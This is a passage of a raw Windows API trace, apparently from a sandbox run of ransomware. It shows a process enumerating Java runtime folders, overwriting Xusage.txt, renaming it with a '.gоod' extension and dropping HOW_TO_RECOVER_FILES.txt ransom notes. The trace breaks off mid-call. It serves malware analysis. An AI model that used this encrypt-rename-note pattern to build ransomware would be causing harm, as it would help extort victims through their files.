[0081.160] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bdf0) returned 1 [0081.160] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server", nBufferLength=0x105, lpBuffer=0x1f49b890, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server", lpFilePart=0x0) returned 0x2d [0081.160] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\*", lpFindFileData=0x1f49bb10 | out: lpFindFileData=0x1f49bb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0081.160] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.160] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xab35b530, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xab35b530, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xabaa88bc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11d0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="classes.jsa", cAlternateFileName="")) returned 1 [0081.160] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b1f9e6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b1f9e6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b1f9e6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x866c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.dll", cAlternateFileName="")) returned 1 [0081.160] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b1f9e6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b1f9e6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b1f9e6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Xusage.txt", cAlternateFileName="")) returned 1 [0081.161] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b1f9e6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b1f9e6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b1f9e6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Xusage.txt", cAlternateFileName="")) returned 0 [0081.161] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0081.161] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bd30) returned 1 [0081.161] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bcf0) returned 1 [0081.161] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt", lpFilePart=0x0) returned 0x38 [0081.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bba0) returned 1 [0081.161] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), fInfoLevelId=0x0, lpFileInformation=0x33867f0 | out: lpFileInformation=0x33867f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b1f9e6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b1f9e6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b1f9e6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x58f)) returned 1 [0081.161] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb60) returned 1 [0081.161] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt", nBufferLength=0x105, lpBuffer=0x1f49b530, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt", lpFilePart=0x0) returned 0x38 [0081.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49ba50) returned 1 [0081.161] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x798 [0081.162] GetFileType (hFile=0x798) returned 0x1 [0081.162] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49b9c0) returned 1 [0081.162] GetFileType (hFile=0x798) returned 0x1 [0081.162] GetFileSize (in: hFile=0x798, lpFileSizeHigh=0x1f49bbf8 | out: lpFileSizeHigh=0x1f49bbf8*=0x0) returned 0x58f [0081.162] ReadFile (in: hFile=0x798, lpBuffer=0x3386fe8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bb28, lpOverlapped=0x0 | out: lpBuffer=0x3386fe8*, lpNumberOfBytesRead=0x1f49bb28*=0x58f, lpOverlapped=0x0) returned 1 [0081.163] CloseHandle (hObject=0x798) returned 1 [0081.190] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt", nBufferLength=0x105, lpBuffer=0x1f49b530, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt", lpFilePart=0x0) returned 0x38 [0081.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49ba50) returned 1 [0081.190] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x798 [0081.191] GetFileType (hFile=0x798) returned 0x1 [0081.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49b9c0) returned 1 [0081.191] GetFileType (hFile=0x798) returned 0x1 [0081.191] WriteFile (in: hFile=0x798, lpBuffer=0x34001a0*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x1f49ba38, lpOverlapped=0x0 | out: lpBuffer=0x34001a0*, lpNumberOfBytesWritten=0x1f49ba38*=0x590, lpOverlapped=0x0) returned 1 [0081.192] CloseHandle (hObject=0x798) returned 1 [0081.193] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt", lpFilePart=0x0) returned 0x38 [0081.193] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.gоod", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.gоod", lpFilePart=0x0) returned 0x3d [0081.193] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bb60) returned 1 [0081.193] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), fInfoLevelId=0x0, lpFileInformation=0x1f49bc40 | out: lpFileInformation=0x1f49bc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b1f9e6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b1f9e6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2c9ad62a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x590)) returned 1 [0081.193] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb20) returned 1 [0081.193] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt.gоod")) returned 1 [0081.194] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f49b840, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x46 [0081.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bd60) returned 1 [0081.194] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x798 [0081.194] GetFileType (hFile=0x798) returned 0x1 [0081.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bcd0) returned 1 [0081.194] GetFileType (hFile=0x798) returned 0x1 [0081.195] WriteFile (in: hFile=0x798, lpBuffer=0x34037b8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f49be28, lpOverlapped=0x0 | out: lpBuffer=0x34037b8*, lpNumberOfBytesWritten=0x1f49be28*=0x5d0, lpOverlapped=0x0) returned 1 [0081.467] CloseHandle (hObject=0x798) returned 1 [0082.024] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f49c270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3f [0082.024] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c790) returned 1 [0082.024] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x778 [0082.025] GetFileType (hFile=0x778) returned 0x1 [0082.025] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c700) returned 1 [0082.025] GetFileType (hFile=0x778) returned 0x1 [0082.025] WriteFile (in: hFile=0x778, lpBuffer=0x32704b0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f49c858, lpOverlapped=0x0 | out: lpBuffer=0x32704b0*, lpNumberOfBytesWritten=0x1f49c858*=0x5d0, lpOverlapped=0x0) returned 1 [0082.026] CloseHandle (hObject=0x778) returned 1 [0082.027] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c820) returned 1 [0082.027] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib", nBufferLength=0x105, lpBuffer=0x1f49c2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib", lpFilePart=0x0) returned 0x26 [0082.027] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\*", lpFindFileData=0x1f49c540 | out: lpFindFileData=0x1f49c540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe1f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0082.029] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe1f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.030] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.properties", cAlternateFileName="ACCESS~1.PRO")) returned 1 [0082.030] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe451d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64", cAlternateFileName="")) returned 1 [0082.030] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="applet", cAlternateFileName="")) returned 1 [0082.030] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendars.properties", cAlternateFileName="CALEND~1.PRO")) returned 1 [0082.030] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa7bbd53, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa7bbd53, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2e56fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="charsets.jar", cAlternateFileName="")) returned 1 [0082.030] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x14983, dwReserved0=0x0, dwReserved1=0x0, cFileName="classlist", cAlternateFileName="CLASSL~1")) returned 1 [0082.031] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105e2a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cmm", cAlternateFileName="")) returned 1 [0082.031] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-types.properties", cAlternateFileName="CONTEN~1.PRO")) returned 1 [0082.031] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x101a, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.data", cAlternateFileName="CURREN~1.DAT")) returned 1 [0082.031] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa10e432c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy", cAlternateFileName="")) returned 1 [0082.031] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa900a6f7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ce7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.jar", cAlternateFileName="")) returned 1 [0082.031] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa11bdb26, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ext", cAlternateFileName="")) returned 1 [0082.031] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="flavormap.properties", cAlternateFileName="FLAVOR~1.PRO")) returned 1 [0082.032] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xeba, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontconfig.bfc", cAlternateFileName="FONTCO~1.BFC")) returned 1 [0082.032] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2948, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontconfig.properties.src", cAlternateFileName="FONTCO~1.SRC")) returned 1 [0082.032] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa122f229, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fonts", cAlternateFileName="")) returned 1 [0082.032] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x368a, dwReserved0=0x0, dwReserved1=0x0, cFileName="hijrah-config-umalqura.properties", cAlternateFileName="HIJRAH~1.PRO")) returned 1 [0082.032] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa12313ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0082.032] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.properties", cAlternateFileName="JAVAFX~1.PRO")) returned 1 [0082.032] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8e40a9d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8e40a9d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8e66d0e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe6827, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.jar", cAlternateFileName="")) returned 1 [0082.033] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1c6de, dwReserved0=0x0, dwReserved1=0x0, cFileName="jce.jar", cAlternateFileName="")) returned 1 [0082.033] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1295634, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr", cAlternateFileName="")) returned 1 [0082.033] FindNextFileW (in: hFindFile=0x1ec1dc40, 